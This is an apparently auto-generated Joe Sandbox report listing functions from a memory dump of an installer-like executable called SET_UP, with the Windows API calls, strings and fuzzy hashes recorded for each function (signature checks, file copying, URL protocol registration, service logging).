Opcode Fuzzy Hash: c12b019fda70429c227eb68d9a49c76a912826732c3ca79c8e61ca7aa1251b10
Instruction Fuzzy Hash: 19A1E373A012039BDB648B78C8657BAF7A1AF51B24F24C27AD817AB391E7319D01C761

Function 000DEEE0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184encryptionCOMMON

Download Yara Rule

APIs

#224.MSI(00000000,00000001,?,00000000,00000000,0CE81EE3,?), ref: 000DEF26
#224.MSI(?,00000001,?,00000000,00000000), ref: 000DEF4E
CertFreeCertificateContext.CRYPT32(00000000), ref: 000DEF59

Strings

VerifySignatureTrust returnned: , xrefs: 000DF011
P(Hu, xrefs: 000DEF59, 000DF0A4

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: #224$CertCertificateContextFree
String ID: P(Hu$VerifySignatureTrust returnned:
API String ID: 3969086042-1309902481
Opcode ID: 19b87c75ac00ec49ad6ba98d54f2a48d5ad6164efcec636460e3c97ca17750b2
Instruction ID: c521de1ce082de187ef736c8e870510e5a19afbaaeb7eb010624dff709a14f47
Opcode Fuzzy Hash: 19b87c75ac00ec49ad6ba98d54f2a48d5ad6164efcec636460e3c97ca17750b2
Instruction Fuzzy Hash: 1761B331E00249DFDB14EBA8CC45BEDBBB5EF44310F148269E905AB392EB749D45CBA1

Function 00072640 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 161fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,0CE81EE3), ref: 00072688
GetLastError.KERNEL32 ref: 000726AA
GetLastError.KERNEL32 ref: 0007272C
ReadFile.KERNEL32(00000000,00000000,00000400,00000000,00000000), ref: 0007279D
GetLastError.KERNEL32 ref: 000727D4
CloseHandle.KERNEL32(00000000), ref: 0007283C

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 000726EE

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorLast$File$CloseCreateHandleRead
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 102069965-63410773
Opcode ID: dddd5cc4b13a50a1e41801c65b2b5c9aa681f496fd957b44efb17eb374ef3de8
Instruction ID: f4ff6c552e483cf3cc482bc39863b01f301bfec52ff5894dc546ae5a96781822
Opcode Fuzzy Hash: dddd5cc4b13a50a1e41801c65b2b5c9aa681f496fd957b44efb17eb374ef3de8
Instruction Fuzzy Hash: C4616C74D00219EFDB14CFA4DD48BAEBBB4FB08714F108159E905BB291CBB99944CBA5

Function 0007E030 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?,0CE81EE3,?,?), ref: 0007E084
GetTempPathW.KERNEL32(00000104,?,?,?,?), ref: 0007E119
GetTempFileNameW.KERNEL32(?,shim_clone,00000000,?,?,?,?,?,?,?), ref: 0007E14A
Wow64DisableWow64FsRedirection.KERNEL32(00000000,?), ref: 0007E17D
CopyFileW.KERNEL32(?,?,00000000), ref: 0007E19F
Wow64RevertWow64FsRedirection.KERNEL32(00000000,?,00000000), ref: 0007E1CE

Strings

shim_clone, xrefs: 0007E13E

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Wow64$FilePathRedirectionTemp$CopyDisableFolderNameRevert
String ID: shim_clone
API String ID: 2409701878-3944563459
Opcode ID: 63f3dddfb55c838a7bc1154fd847edaee3156c5592432a671c02388d05b4855d
Instruction ID: ed508bcc1eee45300050308724b0a1e3779559d9f0247907b62cb5da1b5489f7
Opcode Fuzzy Hash: 63f3dddfb55c838a7bc1154fd847edaee3156c5592432a671c02388d05b4855d
Instruction Fuzzy Hash: 4351F470E412989EDB24DB64CD05BEAB7F9EB98700F5080E9F909971C2DB749E84CBD4

Function 000C3390 Relevance: 12.2, APIs: 8, Instructions: 227windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(00000000,00000498,00000000,00000000), ref: 000C33D8

Part of subcall function 000DCBD0: SendMessageW.USER32(00000000,00000406,00000000,?), ref: 000DCC24
Part of subcall function 000DCBD0: SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 000DCC32
Part of subcall function 000DCBD0: SetWindowTextW.USER32(00000000,?), ref: 000DCC95

EndDialog.USER32(00000000,00000002), ref: 000C3543
EnableWindow.USER32(?,00000001), ref: 000C35EE

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Message$SendWindow$DialogEnablePostText
String ID:
API String ID: 4066881610-0
Opcode ID: 461ad81bd4edae4ba00da68e12a5f7ed75b7e62929389c4729826ddf5a15efa4
Instruction ID: 7a5d43811b9f19e85735b683e95ecf7faa0589ece9d1e44cfba8ed990f5ed90e
Opcode Fuzzy Hash: 461ad81bd4edae4ba00da68e12a5f7ed75b7e62929389c4729826ddf5a15efa4
Instruction Fuzzy Hash: 2A71A271A00605ABDB14DF68DC85F9EB7A4FF44320F14C269F9199B2A1DB71EE50CB90

Function 000C3170 Relevance: 12.2, APIs: 8, Instructions: 169COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(00000000,?), ref: 000C32B0
GetDlgItem.USER32(00000000,00000415), ref: 000C32CD
GetDlgItem.USER32(00000000,00000002), ref: 000C32DA
EnableWindow.USER32(00000000,00000000), ref: 000C32E5
GetDlgItem.USER32(?,00000415), ref: 000C32FB
GetDlgItem.USER32(?,000003EB), ref: 000C3309
GetWindowLongW.USER32(00000000,000000F0), ref: 000C3317
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 000C332F

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ItemWindow$Long$EnableText
String ID:
API String ID: 2470491413-0
Opcode ID: fb293f7640d4777322906ae651c08fba3a2c53fec97b5a0bb523856784a138d8
Instruction ID: bcf84b38a988678b5a470060277f4972a2959eaf3544793354ae3f736142ed19
Opcode Fuzzy Hash: fb293f7640d4777322906ae651c08fba3a2c53fec97b5a0bb523856784a138d8
Instruction Fuzzy Hash: F9517470A00605AFDB04DFA8CD45FAEF7B5FF45320F148269E5299B6E2DB34A910CB91

Function 000B515E Relevance: 12.1, APIs: 8, Instructions: 116windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 000B5179
SendMessageW.USER32(00000000,0000048B,?,?), ref: 000B518D
GetParent.USER32(?), ref: 000B5EEE

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Parent$MessageSend
String ID:
API String ID: 2251359880-0
Opcode ID: 595fd86cb784ff76d5d18cfa159fb3546ded524ad8c5464cdf8b39d803b83fcc
Instruction ID: 733c32280b4f1798b668e764c46bfc00c0212390ad39aa593f2e3fee1d17953a
Opcode Fuzzy Hash: 595fd86cb784ff76d5d18cfa159fb3546ded524ad8c5464cdf8b39d803b83fcc
Instruction Fuzzy Hash: 9931E0B26086019BD7189B69DD58BBBF7E6FB88301F04486CF64687650C635E941CB92

Function 000B5302 Relevance: 12.1, APIs: 8, Instructions: 108windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 000B5319
SendMessageW.USER32(00000000,0000048A,?,?), ref: 000B532D
GetParent.USER32(?), ref: 000B5EEE

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Parent$MessageSend
String ID:
API String ID: 2251359880-0
Opcode ID: cea62744e434dbfc3936b7280ea7c76a46ebc059670ae31454023570335e8352
Instruction ID: 2f6940ffd222ebdb733cb6c45ebdd8a11b5a6a7ecfc3e538a777c834239f7e19
Opcode Fuzzy Hash: cea62744e434dbfc3936b7280ea7c76a46ebc059670ae31454023570335e8352
Instruction Fuzzy Hash: 2531EFB2608601AFD7189B29DD58BBBFBE6FB88301F0444ADF24687250CA35D9418B92

Function 000E01E0 Relevance: 12.1, APIs: 8, Instructions: 87windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 000E01FC
GetSystemMetrics.USER32(00000000), ref: 000E021A
GetSystemMetrics.USER32(00000001), ref: 000E0222
PostMessageW.USER32(?,0000052C,00000000,00000000), ref: 000E0250
PostMessageW.USER32(?,00000112,0000F020,00000000), ref: 000E0270
SetWindowLongW.USER32(?,000000F0,?), ref: 000E028A
GetWindowLongW.USER32(?,000000EC), ref: 000E028F
SetWindowLongW.USER32(?,000000EC,00000000), ref: 000E029E

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: LongWindow$MessageMetricsPostSystem
String ID:
API String ID: 1079118673-0
Opcode ID: 11a58b9cc70e8515bb50d583e8e15c962493b95feba1e1977f33e691518ad053
Instruction ID: 9feb6bad3ada05edab0219376a8e5b2773e8583226045442ad26264df7ca6e91
Opcode Fuzzy Hash: 11a58b9cc70e8515bb50d583e8e15c962493b95feba1e1977f33e691518ad053
Instruction Fuzzy Hash: AD2106712483105FD7148B28CC88F6B7BE8EB85320F14862DF611A76D2C7B5A884CB94

Function 000C48D0 Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 455COMMON

Download Yara Rule

APIs

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

Part of subcall function 00077900: GetProcAddress.KERNEL32(-00000001B9693223), ref: 00077BE7

Part of subcall function 00073320: FindResourceW.KERNEL32(00000000,00000001,00000006,?,00000000,?,00000000,?), ref: 000731E8

GetModuleFileNameW.KERNEL32(00000000,?,00000104,URL Protocol,?,?,?,?,?,?,?,?,?), ref: 000C4BE3

Strings

Software\Classes\%s\shell\open\command, xrefs: 000C4931
Software\Classes\%s, xrefs: 000C49D5
%s %%1, xrefs: 000C4C76
URL:%s, xrefs: 000C4A50
URL Protocol, xrefs: 000C4B61, 000C4B71

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: AddressFileFindHeapModuleNameProcProcessResource
String ID: %s %%1$Software\Classes\%s$Software\Classes\%s\shell\open\command$URL Protocol$URL:%s
API String ID: 3693372388-4003474000
Opcode ID: e4dc9ea3e9eef3b74f6b140385733490cade20727736720d03eae0e8deeed898
Instruction ID: ce52c791c6500a140f3c2477436283cb1403c956eebbdb8a26c6048b69fdeeef
Opcode Fuzzy Hash: e4dc9ea3e9eef3b74f6b140385733490cade20727736720d03eae0e8deeed898
Instruction Fuzzy Hash: CD026D70A01249DFEB10DFA8CC49B9EBBF4BF05314F148168E515EB292EB749E44DB91

Function 000CD0B0 Relevance: 10.9, APIs: 5, Strings: 2, Instructions: 418memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

Part of subcall function 0008DBE0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0010A345,000000FF), ref: 0008DC32

GetLastError.KERNEL32 ref: 000CD17F
LocalAlloc.KERNEL32(00000000,00000000), ref: 000CD18D
LocalFree.KERNEL32(00000000), ref: 000CD1BB
GetLastError.KERNEL32 ref: 000CD1C1

Part of subcall function 000972D0: InitializeCriticalSection.KERNEL32(?,0CE81EE3,00000000), ref: 0009730D
Part of subcall function 000972D0: EnterCriticalSection.KERNEL32(?,0CE81EE3,00000000), ref: 0009731A
Part of subcall function 000972D0: GetCurrentProcessId.KERNEL32( [PID=,00000006,0012CCDC,00000002), ref: 000973B8
Part of subcall function 000972D0: GetCurrentThreadId.KERNEL32 ref: 000973D7

LocalFree.KERNEL32(00000000,?), ref: 000CD591

Strings

LegacyIpcObjectBaseName: , xrefs: 000CD4DE
Service running from path: , xrefs: 000CD24F

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorLastLocal$CriticalCurrentFreeProcessSection$AllocEnterHeapInitializeThread
String ID: LegacyIpcObjectBaseName: $Service running from path:
API String ID: 3183410215-3424923462
Opcode ID: b2874405e134136803198611ac14ad88be6e83c6c57028d225deb22a60497968
Instruction ID: af91ec121d33c9ba8f6a650454359c9310942c1e7355d060d9ba39348ba55f62
Opcode Fuzzy Hash: b2874405e134136803198611ac14ad88be6e83c6c57028d225deb22a60497968
Instruction Fuzzy Hash: C9F18C70A00608DFDB14DFA8C898BAEFBF5FF44314F14816EE415AB2A2DB75A905CB51

Function 000CA3D0 Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 389timeCOMMON

Download Yara Rule

APIs

Part of subcall function 000C7270: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,.part,00000005,?,0CE81EE3,-00000001,?,00000000,-00000001,-00000001), ref: 000C72E4
Part of subcall function 000C7270: CloseHandle.KERNEL32(00000000), ref: 000C730B

GetModuleFileNameW.KERNEL32(00000000,?,00000104,0CE81EE3,-00000001,-00000001,00000000), ref: 000CA43E
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0012A7EC,0011572D,000000FF), ref: 000CA448
SystemTimeToFileTime.KERNEL32(?,?,-00000001,00000000), ref: 000CAB03
SystemTimeToFileTime.KERNEL32(00000000,?), ref: 000CAB27

Strings

. Return code: , xrefs: 000CA7E9
install, xrefs: 000CA6E5, 000CA6F5
Update ", xrefs: 000CA79C
" installer runned. Exit code: , xrefs: 000CA7CD

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: FileTime$System$CloseCreateErrorHandleLastModuleName
String ID: " installer runned. Exit code: $. Return code: $Update "$install
API String ID: 1357900220-2545104472
Opcode ID: 12b5c888f3b82af37ed2faff2d79f85bf7542eefdc61ada64df4e45181430815
Instruction ID: e6a4680f86dca74e30c9d502bc00dc8ff841e0aa0ffd09f43ac36ba3ac122c77
Opcode Fuzzy Hash: 12b5c888f3b82af37ed2faff2d79f85bf7542eefdc61ada64df4e45181430815
Instruction Fuzzy Hash: 05E1CF70B00649DFDB54DFA8C889BEEB7F0BF05304F14826CE515AB292EB349945CB92

Function 000D98B0 Relevance: 10.8, APIs: 7, Instructions: 349stringCOMMON

Download Yara Rule

APIs

Part of subcall function 000DA0D0: CharNextW.USER32(?,00000000,00000000,74DEF360,?,?,000DAB3F,00000000,00000000,?,?,?,00000000,00000000,000DADE3,?), ref: 000DA108
Part of subcall function 000DA0D0: CharNextW.USER32(00000000,?,00000000,00000000,74DEF360,?,?,000DAB3F,00000000,00000000,?,?,?,00000000,00000000,000DADE3), ref: 000DA12F
Part of subcall function 000DA0D0: CharNextW.USER32(00000027,?,00000000,00000000,74DEF360,?,?,000DAB3F,00000000,00000000,?,?,?,00000000,00000000,000DADE3), ref: 000DA14C
Part of subcall function 000DA0D0: CharNextW.USER32(00000027,?,00000000,00000000,74DEF360,?,?,000DAB3F,00000000,00000000,?,?,?,00000000,00000000,000DADE3), ref: 000DA154
Part of subcall function 000DA0D0: CharNextW.USER32(?,?,00000000,00000000,74DEF360,?,?,000DAB3F,00000000,00000000,?,?,?,00000000,00000000,000DADE3), ref: 000DA1C2

lstrcmpiW.KERNEL32(?,0012F1F8,?,0CE81EE3,?,00000000,00000000), ref: 000D9937
lstrcmpiW.KERNEL32(?,0012F1FC), ref: 000D994E
VarUI4FromStr.OLEAUT32(?,00000000,00000000,?), ref: 000D9B92
CharNextW.USER32(?,?), ref: 000D9C83
CharNextW.USER32(00000000), ref: 000D9C99

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CharNext$lstrcmpi$From
String ID:
API String ID: 298784196-0
Opcode ID: b9998f7c7c32285659dd79be000e29a5fb90243ed22fcaf89bbf4fd45e7b3362
Instruction ID: b603515f942d073d32b206b4cb8ccd4c9cc8f7ffef3e2499f68a065c85175300
Opcode Fuzzy Hash: b9998f7c7c32285659dd79be000e29a5fb90243ed22fcaf89bbf4fd45e7b3362
Instruction Fuzzy Hash: CAD1AE71900309DBCF24DF68C990BEDB7B5FF54310F55812AEA0AAB390D770AA45CBA1

Function 0008D790 Relevance: 10.8, APIs: 4, Strings: 3, Instructions: 340COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(Unable to set the service status error code: ,0000002D), ref: 0008DB5E
GetLastError.KERNEL32(Unable to find the service error code: ,00000027), ref: 0008D82D

Part of subcall function 000972D0: InitializeCriticalSection.KERNEL32(?,0CE81EE3,00000000), ref: 0009730D
Part of subcall function 000972D0: EnterCriticalSection.KERNEL32(?,0CE81EE3,00000000), ref: 0009731A
Part of subcall function 000972D0: GetCurrentProcessId.KERNEL32( [PID=,00000006,0012CCDC,00000002), ref: 000973B8
Part of subcall function 000972D0: GetCurrentThreadId.KERNEL32 ref: 000973D7

GetLastError.KERNEL32(Unable to set the service status error code: ,0000002D), ref: 0008D953
GetLastError.KERNEL32(Unable to set the service status error code: ,0000002D), ref: 0008DA5F

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

Strings

, xrefs: 0008DBA6
Unable to find the service error code: , xrefs: 0008D823
Unable to set the service status error code: , xrefs: 0008D949, 0008DA55, 0008DB54

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorLast$CriticalCurrentProcessSection$EnterHeapInitializeThread
String ID: $Unable to find the service error code: $Unable to set the service status error code:
API String ID: 2386437487-612451267
Opcode ID: 424c73afd3f6112eba0515ea5eeaff7690b7024c140898eb1f9db58082ef8abf
Instruction ID: 7a42b0fa51338df479652b3b98a5787ae92d7316bb12fb5a6a80259fbe4d15a5
Opcode Fuzzy Hash: 424c73afd3f6112eba0515ea5eeaff7690b7024c140898eb1f9db58082ef8abf
Instruction Fuzzy Hash: BCC16B31500604EBEB14EF79C849B9ABBE4BF45320F04C659F8998B2E2EB74D944CB91

Function 0008B6C0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 324COMMON

Download Yara Rule

APIs

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

Part of subcall function 00073320: FindResourceW.KERNEL32(00000000,00000001,00000006,?,00000000,?,00000000,?), ref: 000731E8

_wcschr.LIBVCRUNTIME ref: 0008B785
_wcschr.LIBVCRUNTIME ref: 0008B834
_wcschr.LIBVCRUNTIME ref: 0008B85F
_wcschr.LIBVCRUNTIME ref: 0008B9AC

Strings

ddd, xrefs: 0008B6D5
0123456789AaBbCcDdEeFf, xrefs: 0008B724, 0008B734

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: _wcschr$FindHeapProcessResource
String ID: 0123456789AaBbCcDdEeFf$ddd
API String ID: 3569040288-168083431
Opcode ID: f01887ce7cc0ca7d39032315a02a2909cc718cf5ab89e213791fb58c20212c18
Instruction ID: fb6fb64e426e7a90e35d35010df3d9a30af00e5cc7782c33031c043f9f770a91
Opcode Fuzzy Hash: f01887ce7cc0ca7d39032315a02a2909cc718cf5ab89e213791fb58c20212c18
Instruction Fuzzy Hash: 35C19071A00605DFDB04EFA8C989AADF7F5FF88310F148259E565AB3A1DB35AA01CF50

Function 000F4629 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000F52B8: GetLastError.KERNEL32(?,?,?,000ECC05,?,?,0008C44D,?,000EC44D,000000FF,?,?,?), ref: 000F52BD
Part of subcall function 000F52B8: SetLastError.KERNEL32(00000000,00000006,000000FF,?,000EC44D,000000FF,?,?,?), ref: 000F535B

_free.LIBCMT ref: 000F4914
_free.LIBCMT ref: 000F492D
_free.LIBCMT ref: 000F496B
_free.LIBCMT ref: 000F4974
_free.LIBCMT ref: 000F4980

Strings

C, xrefs: 000F4785

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: _free$ErrorLast
String ID: C
API String ID: 3291180501-1037565863
Opcode ID: 3cc7acfa260b9830c0ce477acd86d57611d47516e9ab2c791f7d244f50c972f4
